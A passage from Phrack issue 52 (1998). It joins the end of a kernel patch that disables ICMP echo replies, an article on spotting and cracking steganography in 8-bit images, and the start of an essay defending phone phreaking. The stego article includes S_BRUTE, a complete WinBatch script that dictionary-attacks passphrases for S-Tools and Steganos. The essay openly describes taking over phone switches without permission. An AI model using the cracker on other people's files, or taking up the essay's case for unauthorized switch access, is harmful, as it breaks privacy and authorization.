- * RFC 1812: 4.3.3.6 SHOULD have a config option for silently ignoring echo requests, MUST have default=NOT.
- * See also WRT handling of options once they are done and working.
- */
-
-static void icmp_echo(struct icmphdr *icmph, struct sk_buff *skb, struct device *dev, __u32 saddr, __u32 daddr, int len)
-{
-#ifndef CONFIG_IP_IGNORE_ECHO_REQUESTS
- struct icmp_bxm icmp_param;
- icmp_param.icmph=*icmph;
- icmp_param.icmph.type=ICMP_ECHOREPLY;
- icmp_param.data_ptr=(icmph+1);
- icmp_param.data_len=len;
- if (ip_options_echo(&icmp_param.replyopts, NULL, daddr, saddr, skb)==0)
- icmp_build_xmit(&icmp_param, daddr, saddr, skb->ip_hdr->tos);
-#endif
- kfree_skb(skb, FREE_READ);
-}
/*
* Handle ICMP Timestamp requests.
@@ -1144,8 +1123,8 @@
*/
static struct icmp_control icmp_pointers[19] = {
-/* ECHO REPLY (0) */
- { &icmp_statistics.IcmpOutEchoReps, &icmp_statistics.IcmpInEchoReps, icmp_discard, 0, NULL },
+/* ECHO REPLY (0) - Disabled, we now do ICMP_ECHOREQUEST in userland */
+ { &dummy, &icmp_statistics.IcmpInErrors, icmp_discard, 1, NULL },
{ &dummy, &icmp_statistics.IcmpInErrors, icmp_discard, 1, NULL },
{ &dummy, &icmp_statistics.IcmpInErrors, icmp_discard, 1, NULL },
/* DEST UNREACH (3) */
@@ -1156,8 +1135,8 @@
{ &icmp_statistics.IcmpOutRedirects, &icmp_statistics.IcmpInRedirects, icmp_redirect, 1, &xrl_redirect },
{ &dummy, &icmp_statistics.IcmpInErrors, icmp_discard, 1, NULL },
{ &dummy, &icmp_statistics.IcmpInErrors, icmp_discard, 1, NULL },
-/* ECHO (8) */
- { &icmp_statistics.IcmpOutEchos, &icmp_statistics.IcmpInEchos, icmp_echo, 0, NULL },
+/* ECHO (8) - Disabled, we now do ICMP_ECHOREQUEST in userland */
+ { &dummy, &icmp_statistics.IcmpInErrors, icmp_discard, 1, NULL },
{ &dummy, &icmp_statistics.IcmpInErrors, icmp_discard, 1, NULL },
{ &dummy, &icmp_statistics.IcmpInErrors, icmp_discard, 1, NULL },
/* TIME EXCEEDED (11) */
----[ EOF
---[ Phrack Magazine Volume 8, Issue 52 January 26, 1998, article 08 of 20
-------------------------[ Steganography Thumbprinting
--------[ The HackLab (http://www.hacklab.com)
Steg`a*nog"ra*phy (?), n. [Gr. covered (fr. to cover closely) +
-graphy.] The art of writing in cipher, or in characters which are not
intelligible except to persons who have the key; cryptography.
i. Introduction
While this may be a general description of cryptography, steganography has
come to describe not only the act of encrypting data, but also of hiding its
very existence. Steganography (or "stego") uses techniques to store a
"message" file within a "container" file by altering the container file in
such a way as to make the original file _appear_ unchanged. The resulting
file can be referred to as the stego file and contains the message file
enclosed in a close approximation of the original container file. Several
tools exist (mostly for DOS/Windows/NT) which automate these functions using
DES, DES3 or IDEA as encryption methods and BMP, GIF, JPG, WAV, VOC and even
ASCII files as containers. Using these tools, data can be hidden within
images, sounds, and even other data files. However, these tools do leave
perceptible traces on their container files and do not offer nearly the
level of obfuscation the user assumes.
This article will provide the reader with a fundamental understanding of
basic stego techniques and will highlight some of the "thumbprints" left by
modern steganographic toolsets, specifically on graphic images. Not intended
to challenge the cryptographic strength or perceptible mathematical variances
of current steganographic techniques, this article will give the reader a
basic understanding of stego and suggest low-budget methods for detecting and
cracking basic steganographic techniques. Also presented is a program which
can be used to brute-force two of the most popular stego toolsets.
I. Basic Steganography
Simply put, steganography involves the hiding of messages. While there are
many techniques employed by the various tools, the least common denominator
amongst most toolsets is the modification of some of the Least Significant
Bits (or LSBs) of the container file's individual bytes. In the simplest
example, consider the following binary representations of the numbers 20
through 27:
10100 10101 10110 10111 11000 11001 11010 11011
By modifying the LSBs of these binary digits, we can hide the binary
representation of the number 200 (11001000) across the above bytestream:
10101 10101 10110 10110 11001 11000 11010 11010
By reconstructing the LSBs of the above bytestream, we recover the number
200 (11001000). In the above example, the original bytestream of the numbers
20-27 is the container, while the number 200 is the message file. This is a
very poor basic example since the resulting stego file is not an accurate
representation of the original file. After modification to include the
message file, the numbers 20-27 now read:
21 21 22 22 25 24 26 26
However, in most stego applications, the container file does not contain
bytestreams which are rendered useless by modifying LSB information.
Instead, container files typically contain various levels of "noise" at the
level of the LSB's which when viewed apart from the rest of the byte can
appear random. A sound (.WAV) file, for example contains mostly inaudible
background noise at the LSB level. An 8-bit graphic file will contain minor
color differences at the LSB level, while a 24-bit image will contain color
changes which are nearly imperceptible to the human eye. A very common
container format is a 256 color, 8 bit image such as a GIF or BMP file.
II. Stego Techniques
In an 8-bit image such as a GIF or BMP each pixel is described as a number
from 0 - 255 which refers to an actual color in the "color lookup table" or
palette. A common misconception is that all images simply contain strings of
bytes that describe individual colors, and that the graphic file simply
lists these colors in left-to-right, and top-to-bottom fashion. This is
only partially true for 8-bit images. The palette lists every color that is
used in the image (and extra colors, if less than 256 total colors are actually
used in the image), and the image data itself is stored as a series of digits
from 0 - 255 which reference an entry in the palette. In this way, the image
can be reconstructed by performing palette lookups to determine the color to
insert at that pixel location.
In order to hide data within an 8-bit GIF or BMP container, most existing
tools use one of two techniques which I will term LSB palette reference
modification and RGB element LSB modification.
LSB palette reference modification involves changing the LSB(s) of a
_palette_reference_ (0 - 255) in order to hide the data contained in the
message. Remember that a palette reference simply contains a number from 0 -
255 which references a color, or entry, in the palette. In order to hide
data, a program utilizing palette reference modification may decide which
color to point to based on the color's LSBs. This type of program will pay
no attention to how similar the colors are, only whether or not the LSBs
serve its purpose of data hiding. If the adjacent colors in the palette have
dissimilar LSBs, they are well suited for data hiding and become good
candidates for storing hidden text in the final stegoed container. If a 0
(zero) is meant to be hidden, the stego program inserts the palette index
reference of the color with the LSB of 0 (zero), and vice versa for hiding a
1 (one).
RGB element LSB modification involves modifying the pixel's _actual_color_
by changing the LSB of the Red, Green or Blue elements of the color in the
color table. For example, the color "white" is represented by the RGB values
255,255,255 which in binary equates to:
11111111 11111111 11111111
listed in RGB order. By altering the LSB of each color in the RGB element,
we can hide data by making almost identical copies of colors such that only
the LSBs are different. Since the color is only changed by one or two LSBs,
the resulting colors are very close, perhaps undetectable to the human eye.
The result of this change to the colors in the table enables nearly identical
colors to be referenced by multiple table entries. This becomes extremely
obvious when the palette is viewed and sorted by luminance (relative
brightness)in a product such as Paint Shop Pro. These similar colors will be
grouped right next to each other in a luminance-sorted palette. Using this
technique, a binary 1 in the message file can be represented in the stego file
by replacing a color in the container file with an altered version of that
color whose RG or B element ends with a binary 1. Likewise, a binary 0 in the
message file can be represented in the stego file by replacing the original
color in the container file with an altered version of that color whose RG or
B element ends with a binary 0.
III. Steganographic Thumbprints
Several tools are available that apply these techniques to files on
several different platforms. I will focus on two specific toolsets; Steganos
and S-Tools v4.0. Steganos is perhaps the most versatile and powerful of the
toolsets, while S-Tools seems to be the easiest and most widely used (not to
mention the fact that I like S-Tools; it's been around for a long time and
is very well done). Other available toolsets include similar functionality
and hiding techniques. In order to discover what the tools actually do when
they hide data, it's best to use a simple BMP container file. The RGB BMP
file utilizes a palette scheme identical to that of a GIF for the purposes
of our tests, and all the reviewed toolsets can use BMP files as containers.
For example, consider a container image which is 50 pixels by 50 pixels and
contains only black-colored (0,0,0) pixels. This image references palette
entry 0 (zero) as its only color. I will use a freeware painting program Paint
Shop Pro V4.10 (PSP) to create and analyze the base images. When creating
this image, PSP used a default palette with 216 unique palette entries and 40
"filler" entries at the end of the palette all of which contain the value
(0,0,0) or pure black.
Our message file is simply a text file which contains the phrase "This is a
test."
A. S-Tools
When the message file is hidden using S-Tools, the resulting 8-bit image
appears identical to the human eye when compared to the original. However,
there are perceptible oddities about the file which are revealed under closer
scrutiny.
Since S-Tools uses RGB element LSB modification as its hiding technique,
the palette has distinct and very obvious characteristics. Many of the
palette's colors are offset by a single bit in the R,G or B element. This is
very obvious when the palette is sorted by luminance (brightness) and viewed
with PSP. The first sixteen (and only original) colors in this palette are:
(51,1,1) (51,1,0) (50,1,0) (51,0,1) (51,0,0) (50,0,1) (50,0,0)
(1,1,0) (1,1,0) (0,1,1) (0,1,0) (1,0,1) (1,0,1) (1,0,0) (0,0,1) (0,0,0)
Notice that the offsets of the RGB elements are only 1 bit. This is an
imperceptible color change, and is a very wasteful use of the palette.
Remember, there are only 256 colors to work with. Most 8-bit image creation
programs are very careful when deciding which colors to include in the palette,
and almost all use standard palettes which contain all the most commonly used
colors. To see a palette with this many _nearly_ identical colors is odd.
Also, the palette has been adjusted to contain less colors. The standard
colors selected by PSP have been replaced by some of the colors listed above.
As is typical with this type of hiding, the slack space at the end of the
palette has been reduced to make room for the new copies of existing colors.
This type of hiding will always make itself obvious by using single-bit
offsets in one or more of the LSBs. Since this type of thumbprint is so
easily identifiable, we will concentrate our efforts on the harder-to-detect
palette reference method used by Steganos.
B. Steganos
Steganos kindly reminds you that 8-bit images don't make terribly secure
containers. It's a good thing, too, because when the message file is hidden
using Steganos the resulting 8-bit image has a major anomaly- the stego
image is completely different than the original! As opposed to an all-black
image, the image now resembles a black-and-blue checkerboard. However, this
difference is only obvious if you have access to the original image. Since
an interceptor will most likely not have a copy of the original image, we
will examine other methods of detection. When the palette of the image is
checked for single-bit offset colors (as in the stego image created with
S-Tools), none can be found. Also, there is no more or less slack space at
the end of the palette than existed in the original palette. Steganos does
not alter the palette in any way when hiding data. It uses the LSB palette
reference technique described above. However, there are very distinctive
ways of determining if this technique has been used to hide data, specifically
by looking at _how_ the palette's colors are used. In this simple case, a
histogram will show exactly the type of modification we are looking for.
In the words of the PSP Help documentation,
"A histogram is a graph of image color values, typically RGB values and/or
luminance. In a histogram, the spectrum for a color component appears on the
horizontal axis, and the vertical axis indicates the portion of the image's
color that matches each point on the component's spectrum."
In a nutshell, this simply means a graph is generated showing how the
color(s) are used in an image, and how similar (in shade) they are. When
viewing the "blue" histogram for the Steganos-hidden file, we see something
like this:
100= X X
- X X
90 = X X
- X X
80 = X X
- X X
70 = X X
- X X
60 = X X
- X X
50 = X X
- X X
40 = X X
- X X
30 = X X
- X X
20 = X X
- X X
10 = X X
- X X
00 = X X
. ! . ! . ! . ! . ! . ! . ! . ! . ! . ! . . .
0 1 2 3 4 5 6 7 8 9 2
0 0 0 0 0 0 0 0 0 0 5
5
The X-axis shows the spectrum for the color blue (from 0 to 255). The
Y-axis shows the number of pixels in the image that match that color. When
displaying a histogram, the 100 on the Y axis is not percentage, but a MAX
value (in this case 1272) which indicates the greatest number of pixels used
for _any_one_color_. Since there are really only two colors _used_ in this
stego image, there are only two vertical bars. These bars indicate that in
the Blue color family there are really only two colors used; one with a blue
value of zero, and another with a blue value of approximately 50 (51 to be
exact). Upon examining the color table for this image sorted in
_palette_order_, it is evident that these two referenced colors are only
similar since they are placed right next to one another in the palette. The
two colors are (0,0,0) and (0,0,51) or black and very, very dark blue. The
image mostly has black hues, and Steganos probably picked the very dark blue
color (00110011) as the 1 for some hidden data, and black (00000000) as the
0 for some hidden data since these colors are _right_ next to each other in
a palette-index-order color table listing. Although they reside next to each
other in the palette, the colors are not very similar which makes the final
stego file appear discolored. Steganos does not modify any of the colors,
but it modifies how the original palette is used by making nearly equal
references to a color and its neighbor (when sorted by palette index).
Bottom line: this image uses neighboring palette colors nearly an identical
number of times. 1272 pixels were used for black and 1228 pixels were used
for the dark, dark blue. This would not be unusual if not for the fact that
the colors are palette index neighbors. If the designer of the image were
using some sort of shading effect, there would be many more than just two
shades involved in this 256 color image, and the shading offsets would be
greater. These two colors don't even appear as shades of one another when
placed side-by-side.
A skilled interceptor will know immediately that something is not quite
right with these images. They both display typical signs of data hiding.
IV. Real-World example
Intercepting a single-color image and determining that it is stegoed is a
trivial task. Increasing the number of used colors within the boundaries of
the 256-color palette could (so the reader may think) obfuscate the hidden
message file. However, by applying a few simple methodologies, a pattern
emerges which can increase the odds of detecting a stegoed image. For
example, if a two-color image is created using only the colors black (0,0,0)
and white (255,255,255), and data is hidden in the file by using Steganos,
the results would show that Steganos not only used black and white, but two
more colors from the palette are used with values of (0,0,51) and
(255,255,51) respectively. These newly-used colors adjoin the original two
colors in the palette listing, have differing LSBs, and are referenced
nearly as much in the new image as the original colors are. A similar
situation evolves when a 6-color image is created. After Steganos hides the
data, the original 6 colors and their palette neighbors will be used in
the new file. The 6 new colors become alternate representations of the
original 6 colors in terms of their LSBs. This methodology holds true all
the way up to images containing 256 different colors. By understanding these
patterns, all 8-bit Steganos images can be detected without access to the
original image.
When attempting to detect the use of steganography in 16 or 24-bit images,
a great deal of pattern analysis must be used. 24-bit stego detection is not
for the faint of heart, but it can be done. Standard "randomization" solutions
fall quite short of solving this problem since LSB data in image creation
programs is hardly random. It follows a pronounced pattern when viewed as a
part of a whole: an 8-bit number. Most standard graphics effects do not use
random data, they use patterns to create and maintain a certain graphic
illusion. Inserting "random" data, even at the LSB level can become fuel for
the analyst's fire. In many 24-bit stego programs, bits in the secret text
are generally inserted with average spacing between them, then random "noise"
is added to make the secret bits seem less obvious. The random "noise" would
(should!) have a random interval between differing bits. The contrast of an
average spacing against random spacing may be enough to not only alert an
analyst, but to point out where secret bits start and random bits begin. The
bottom line is that 24-bit detection is doable, just not practical for an
amateur- yet!
V. The Future
Steganography is in it's infancy, but several new technologies are emerging
including selection and construction methods of data hiding and continuing
research in the area of random distribution.
Selection involves the generation of a large number of copies of the same
container file that differ slightly. In the case of an image file, you may
make minor adjustments in hue, saturation and RGB levels to the end that your
secret message will eventually _appear_ in the LSBs of the data! Although
difficult to generate, this type of data hiding is nearly impossible to detect
since the image's characteristics are not altered at all.
Construction simply involves modeling the characteristics of the original
container when creating your message. In simplest terms, mold your message
around the existing container instead of molding the container to your message.
If, for example the original image were left unchanged, and a key was
developed to create the message _from_ the image, detection would be impossible
without the key.
Several advances are being made in the area of random distribution,
specifically by Tuomas Aura at the Helsinki University of Technology. His
paper "Practical Invisibility in Digital Communication" presents a technique
called "pseudorandom permutation", which brings steganography up to the
technical level of cryptography and properly addresses the issue of
randomness from a data hiding perspective. His paper is excellent reading
and can be found at http://deadlock.hut.fi/ste/ste_html.html
Interesting research (and proof-of-concepts) are being done to utilize
stego techniques in reserved fields in TCP, UDP and ICMP packets. This
research proves that steganography has merit and application beyond sound and
image files. Unfortunately, using stego where there was nothing before (ie
within typically blank reserved fields) can raise a flag in and of itself. Use
encryption and compression to further protect data. It really doesn't matter
if the secret data is discovered if the underlying crypto is secure.
VI. Conclusion
Detecting stego in an 8-bit image is fairly easy. Actually gaining access
to the secret text becomes a bit harder yet a simple overlooked method involves
bruteforcing the creating application (see S_BRUTE.WBT program below). On the
other hand, 24-bit image analysis requires quite a bit of work. If you choose
to employ data hiding techniques, use 24-bit images and compress and encrypt
your message file, bearing in mind that 24-bit images can raise flags simply
due to their size.
When attempting to identify stego files in 8-bit images, keep in mind the
following pointers:
* Search for the obvious thumbprint of an RGB element.
* In the stego file: single-bit offsets between colors in a palette sorted by
luminance (this SCREAMS S-Tools!).
* If no single-bit offsets exist between the colors in the palette, search
for Palette Reference thumbprints which include the following:
* Use of palette index neighbors a near-equal number of times either in the
entire image (use a histogram) or in an area which should be primarily
single-color only but contains a checkerboard effect (use zoom 11:1 to see
individual pixels, and the eyedropper tool to quickly view the RGB
elements in PSP)
* Poor image quality (noise and snow are common side-effects).
* For more detailed analysis the reader might consider using an MS-DOS
program msgifscn.zip, available from Simtel mirror sites worldwide, to
dump the entire contents of an 8-bit GIF image's palette to a file, which
can be dumped into MS Excel for analysis (the analysis add-in in for Excel
comes in REAL handy for binary conversions and data sorts.)
* If you have a clue that the file you're looking at may contain stegoed
data, it never hurts to brute force the application that created it! (see
the S_BRUTE program listing at the end of this article) While this may be
one of the slower methods of breaking stego, it is often easier to
derive possible keyphrases from other sources than attacking the stego
algorithm or the crypto.
VII. The program
The author of S-Tools sells the source code for his program, and Steganos
makes available an SDK for hiding/decoding files using it's algorithms, but
an option exists for programs that do not make their source available:
bruteforce of the application itself. Although using the API and SDK's
available would be significantly faster, there are times when this option
just may not exist.
To that end, included below are two files, S_BRUTE.WBT and S_BRUTE.INI.
This program was written in WinBatch, which is a language that acts very much
like the UNIX language TCL/TK (or Expect), but operates in a Windows 95/NT
context. Developed to control Windows applications, WinBatch provides a
perfect vehicle for brute-forcing an application's password function (see
http://www.windowware.com for the free compiler to run S_BRUTE). S_BRUTE is
an application that will bruteforce S-Tools v4 and Steganos using a
dictionary file in an attempt to determine the passphrase of a stegoed image
(which will subsequently reveal the hidden text). The program selects which
tool to use based on which executable you select, and the S-Tools portion of
the program will not only bruteforce the passphrase, but will attempt all
four algorithms available to S- Tools. Unfortunately S-Tools uses certain
mouse-only operations, so you will effectively lose your mouse while the
S-Tools portion runs. The dictionary needed by this program is simply a list
of words or passphrases separated by newlines. Keep in mind that Steganos
does not allow passwords shorter than five characters, so strip those out to
save time. If you need to use a " (double-quote) in the word/passphrase,
simply use "" (two double quotes) in the dictionary. WinBatch likes this. A
log file is created as c:\output.txt which simply lists all the attempted
words/passphrases. The output file can be reused as a dictionary since no
extraneous information is written out. Two options exist for inputting the
names of the Stego tool executable, the dictionary file and the stego image.
The S_BRUTE.INI file format (see below) allows the variables exepath, dict
and stegofile which allow the input of these full path names into the
program. In addition, the program can prompt for the filenames manually
using standard Windows '95 file boxes. In this case, pay attention to the
box titles as they come up. These titles describe what file the program is
looking for. A variable is also available in the INI file called
STEGANOSDELAY. This value (listed in seconds) determines how long to wait
for a passphrase error message from Steganos. The default is 0, but if you
get a lot of false positives (your machine is SLOW!) set this value to a few
seconds. Due to the speed of the bruteforce attack, this program is not
always accurate as to _which_word_ actually worked if it finds a match. In
this case, S_BRUTE will tell you which word it _thinks_ worked, but you may
have to try the word S_BRUTE gave you plus one or two of the previous words
in c:\output.txt (plus a few different algorithms if you're using S-Tools).
Either way, you are only looking at about 12 combinations (not bad!).
Note that S-Tools and/or Steganos must be properly installed prior to using
this program. S_BRUTE was not designed to brute force the entire keyspace, but
to give you a faster method of determining the passphrase if you have any idea
what it might be. If the stego image is found on a web page, create a
dictionary from words and phrases found on that site, and let S_BRUTE do the
work for you.
sbrute/S_BRUTE.WBT
;; Steganography Brute v1.0 written by a researcher at hacklab.com
;; For new versions and support programs see http://www.hacklab.com
;; This little toy brute forces two very common Steganography utilities,
;; specifically Steganos (http://www.steganography.com) and S-Tools written
;; by Andrew Brown (a.brown@nexor.co.uk)
;; This program can be run using a free program called WinBatch
;; from http://www.windowware.com
;;
;;
;;Notes:
;;
;; 1) The program depends on the executable name being either "S-TOOLS.EXE" or
;; "STEGANOS.EXE". This exe name decides many things, including the
;; semantics of the brute force attack and which types of container files
;; to accept. (Remember that the tools accept different types of container
;; files.)
;; 2) The dictionary file is simply a text file with words or phrases separated
;; by CR(LF). If a " (double quote) must be used in the word or phrase,
;; use "" (two double quotes) instead. This is Winbatch's way of representing
;; the double quote in a string.
;; 3) Internally, this program converts all Windows LFN-formatted dir/filenames to
;; DOS-style 8.3 or short dir/filenames. If you have problems, finding/using
;; LFN files, you may want to manually convert them to a SFN dir/file structure.
;; 4) The S-Tools test requires certain mouse-only operations. During this part of
;; the program, it's best to leave your machine alone. Otherwise the mouse will
;; be all over the place. Sorry.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
:main ;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
Intcontrol(12,4,0,0,0) ;;controls abrupt endings
if (winmetrics(-4) < 4 )
error="This program runs on Windows NT or Windows '95 only!"
gosub bail_error
EndIf
cr=Num2Char(13)
lf=Num2Char(10)
crlf=StrCat(cr, lf)
progname="Steganography Brute"
STEGANOS=0 ;; Flag for Steganos
STOOLS=0 ;; Flag for S-Tools
text1='This program brute forces Steganography programs.'
text2='Including S-Tools v4.0 and Steganos. Do you wish'
text3='to continue?'
;q = AskYesNo('%progname%',"%text1% %crlf% %text2% %crlf% %text3%")
If (AskYesNo('%progname%',"%text1% %crlf% %text2% %crlf% %text3%") == @NO) Then Exit
text1="It is easiest to make all file settings through the"
text2="S_BRUTE.INI file in this directory. If you do not use"
text3="this file, you will be manually prompted for the files."
Text4="Do you wish to use the INI file?"
q= AskYesNo("%progname%"," %text1% %crlf% %text2% %crlf% %text3% %crlf% %text4%")
if (q == @NO) Then gosub prompt_for_files
else gosub set_files
if (STEGANOS)
gosub steganos
else
if (STOOLS) then gosub stools
EndIf
error="Passphrase not found!"
gosub bail_error
Exit
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
:steganos ;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
Run("%exepath%", "%stegofile%")
WinWaitExist("",10) ;;; Steganos' first window has no title.
;;; If you have problems,
SendKeysTo("","{ENTER}") ;;; comment out these two lines...
;TimeDelay(10) ;;; and uncomment...
;SendKey("{ENTER}") ;;; these two lines.
WinWaitExist("Steganos for Windows 95",30)
SendKeysTo("Steganos for Windows 95","{ENTER}")
dictgrip=FileOpen("%dict%","READ")
fn1="c:\output.txt"
handleout=FileOpen("%fn1%","Append")
stitle="Steganos for Windows 95"
START_TIME=TimeYmdHms()
word=0
while (word != "*EOF*")
word = FileRead(dictgrip)
if word =="" then continue
if word =="*EOF*" then break
ClipPut("%word%")
SendKeysTo(stitle,"^v{ENTER}")
TimeDelay(STEGANOSDELAY)
test=strsub(MsgTextGet(stitle),1,22)
if test==""
text1="I think we have a match!"
text2="Due to the speed of the brute force attack, check c:\output.txt"
text3="to see the last few words used, but I think the passphrase is:"
text4="%word%"
success="%text1% %crlf%%text2% %crlf%%text3% %crlf%%text4%"
gosub bail_success
else
if test=="This password is wrong"
SendKeysTo(stitle,"{ENTER}")
SendKeysTo(stitle,"!B{ENTER}")
FileWrite(handleout,"%word%" )
endif
endif
endwhile
STOP_TIME=TimeYmdHms()
FileClose(dictgrip)
FileClose(handleout)
Return
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
:stools ;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
Run("%exepath%", "%stegofile%")
if (WinWaitExist("Welcome to S-Tools",5) == @TRUE)
SendKeysTo("Welcome to S-Tools","!C")
EndIf
winplace(0,0,400,400,"~S-Tools")
WinWaitClose("Please Wait")
SendMenusTo("~S-Tools", "Window Tile Horizontally")
text1="S-Tools requires certain mouse-only operations."
text2='After clicking OK, position the mouse within your'
text3="image in the S-Tools window and click the left button."
message("Setup mouse for S-Tools","%text1% %crlf% %text2% %crlf% %text3%")
while (mouseinfo(4)!="4")
magic=mouseinfo(2)
endwhile
magicx=( ItemExtract(1,magic," ") )
magicy=( ItemExtract(2,magic," ") )
dictgrip=FileOpen("%dict%","READ")
fn1="c:\output.txt"
handleout=FileOpen("%fn1%","Append")
START_TIME=TimeYmdHms()
word=0
while (word != "*EOF*")
word = FileRead(dictgrip)
if word =="" then continue
ClipPut("%word%")
;;; write to the output file
if word!="*EOF*"
if (FileWrite(handleout,"%word%" ) >0)
error="Unable to open file %fn1%."
gosub bail_error
EndIf
Endif
for dumnum=1 to 4 ;; for all the algorithms
MouseMove(magicx, magicy, "","")
MouseClick(@RCLICK, 0)
SendKeysTo("~S-Tools","r")
SendKeysTo("~Revealing","!P^v!V^v!E")
if (dumnum==1) then SendKeysTo("~Revealing","I") ;; IDEA
if (dumnum==2) then SendKeysTo("~Revealing","D") ;; DES
if (dumnum==3) then SendKeysTo("~Revealing","T") ;; DES3
if (dumnum==4) then SendKeysTo("~Revealing","M") ;; MDC
SendKeysTo("~Revealing","{ENTER}")
;childlist=WinItemChild("~S-Tools")
numchilds= ItemCount(WinItemChild("~S-Tools"), @TAB)
if (numchilds>2)
text1="We have an extra window in S-Tools! Possible passphrase match."
text2="Due to the speed of the brute force attack, check c:\output.txt"
text3="to see the last few words used, but I think the passphrase is:"
text4="%word%"
success="%text1% %crlf%%text2% %crlf%%text3% %crlf%%text4%"
gosub bail_success
endif
next
endwhile
FileClose(dictgrip)
FileClose(handleout)
return
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
:set_files ;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
fname=IniReadPvt("Main", "exepath", ".\S-TOOLS.EXE", ".\S_BRUTE.INI")
gosub path_clean
exepath=fname
gosub determine_tool_type
fname=IniReadPvt("Main", "dict", ".\DICT.TXT", ".\S_BRUTE.INI")
gosub path_clean
dict=fname
fname=IniReadPvt("Main", "stegofile", ".\STEGO.GIF", ".\S_BRUTE.INI")
gosub path_clean
stegofile=fname
STEGANOSDELAY=IniReadPvt("Main","STEGANOSDELAY","0",".\S_BRUTE.INI")
gifname= ItemExtract( (ItemCount("%stegofile%", "\")), "%stegofile%", "\")
Return
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
:prompt_for_files ;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
msg = "Enter the Steganos error delay 0-60"
STEGANOSDELAY=AskLine("%progname%", msg ,"0")
types="Dictionary Text Files|*.txt|All Files|*.*|"
dict=AskFileName("Select Dictionary Filename", "C:\", types, "dict.txt", 1)
dict=FileNameShort(dict)
types="Steganography tool Executable|*.exe|"
msg="Where is the S-Tools or Steganos executable?"
exepath=AskFileName(msg, "C:\", types, "", 1)
exepath=FileNameShort(exepath)
gosub determine_tool_type
if (STEGANOS)
types="Stego File (with hidden message)|*.bmp;*.dib;*.voc;*.wav;*.txt;*.html|"
else
types="Stego File (with hidden message)|*.gif;*.bmp;*.wav|"
endif
text1="Select Stego Filename (containing hidden message)"
stegofile=AskFileName("%text1%", "C:\", types, "", 1)
stegofile=FileNameShort(stegofile)
gifname= ItemExtract( (ItemCount("%stegofile%", "\")), "%stegofile%", "\")
Return
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
:path_clean ;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
switch FileExist(fname)
case 0
error="File %fname% not found!"
gosub bail_error
break
case (2)
error="File %fname% in use!"
gosub bail_error
break
endswitch
fname=FileNameShort(fname)
Return
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
:determine_tool_type ;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
exename=(StrUpper(ItemExtract( (ItemCount("%exepath%", "\")), "%exepath%", "\")))
if (exename == "S-TOOLS.EXE") then STOOLS=1
else if (exename == "STEGANOS.EXE") then STEGANOS=1
Return
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
:bail_error ;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
STOP_TIME=TimeYmdHms()
Message("%progname% Error!","%error%")
SECONDS=TimeDiffSecs(STOP_TIME,START_TIME)
Message("%progname%","Finished in %SECONDS% seconds.")
Exit
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
:bail_success ;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
STOP_TIME=TimeYmdHms()
Message("%progname% Success!!!","%success%")
Message("%progname%","Time Started: %START_TIME%%crlf%Time Finished: %STOP_TIME%")
Exit
sbrute/S_BRUTE.INI
[Main]
EXEPATH="C:\Program Files\Deus Ex Machina\Steganos\Steganos.exe"
DICT="C:\win\desktop\dict.txt"
STEGOFILE="C:\win\desktop\steclouds.bmp"
;STEGOFILE="C:\win\desktop\s-tclouds.gif"
STEGANOSDELAY=0 ;; Set this higher for false positives.
;; (Steganos does not use different names for its
;; windows, so this program makes negative result
;; checks (ie bad passwords) based on an error dialog.
;; This timeout controls how many seconds to wait for
;; an error. Default=0
----[ EOF
---[ Phrack Magazine Volume 8, Issue 52 January 26, 1998, article 09 of 20
-------------------------[ On the Morality of Phreaking
--------[ Phrack Staff
The issue of phone phreaking is an interesting topic for
discussion concerning morality. For those not familiar with this
topic, I will give a brief outline of the subject. Following the
outline of phreaking, I will analyze the issue of whether
phreaking as defined in the outline is a morally right act, from
the perspective of John Stuart Mill and Immanuel Kant. Finally,
I will address the fallacies of each of the arguments they might
present concerning the topic and provide a determination of which
stands as the superior argument for this subject.
The meaning of phone phreaking has changed over the years;
its initial growth can be traced in a large part to a magazine
named TAP (Technical Assistance Program) started by Abbie Hoffman
in 1971 as part of his Youth International Party (YIPL) (Meinel,
5). The intent at this point in time was to utilize technology
in order to subvert government and big business institutions. As
time progressed, phreaking became less politically motivated and
instead was led more by technology enthusiasts interested in
learning about the phone systems and how they worked. In 1984,
2600 magazine was formed by Eric Corley in order to further this
spread of knowledge (Corley).
The definition of phone phreaking I will use for the
purposes of this paper is that which the prominent members of the
hacking/phreaking "scene" would use. In discussing the
motivations of a phone phreaker, I speak from both personal
experience and from numerous conversations with individual
phreakers over a period of years. Phreaking is the pursuit of
knowledge concerning how phone systems operate. The skills that
a phreaker learns in this pursuit of knowledge has the effect
that they can often gain control of a phone switch in order to
make add additional phone lines, modify billing information, and
other such activities, but these are generally considered
unrelated to that which an actual phreaker is interested in, and
I will focus only on the activities of those true phreakers that
are motivated by the desire for knowledge and not for other
gains. Generally however, phreaking does involve utilizing the
resources of a phone company switch without the permission of the
company owning it, in order to both explore its capabilities and
to communicate with other phreakers in order to share knowledge.
John Mill, given his views of morality as found in
Utilitarianism, would find that phone phreaking is a morally
right act. In order to find that an act is morally right, it
should have a net benefit in terms of the happiness it adds to
the world versus the opposite of happiness it causes (Mill, 7).
To show that phreaking is morally right, first it must be shown
that it does have a positive effect on the general happiness in
the world, and then proceed to show that any negative effects
that phreaking may have are sufficiently minor so as to be
outweighed by the positive effects. If the positive effects are
greater than the negative effects, then clearly the act is
morally right.
First, the actual benefit that phreaking has for the
individuals involved in it is not directly the pursuit of
happiness, but rather the pursuit of knowledge. Since morality
is determined by happiness, not knowledge, how knowledge relates
to happiness needs to be resolved. The reason this pursuit still
relates to morality is that individuals that are pursuing
knowledge for no motivation other than itself are doing so
because the gain of knowledge has become a part of those
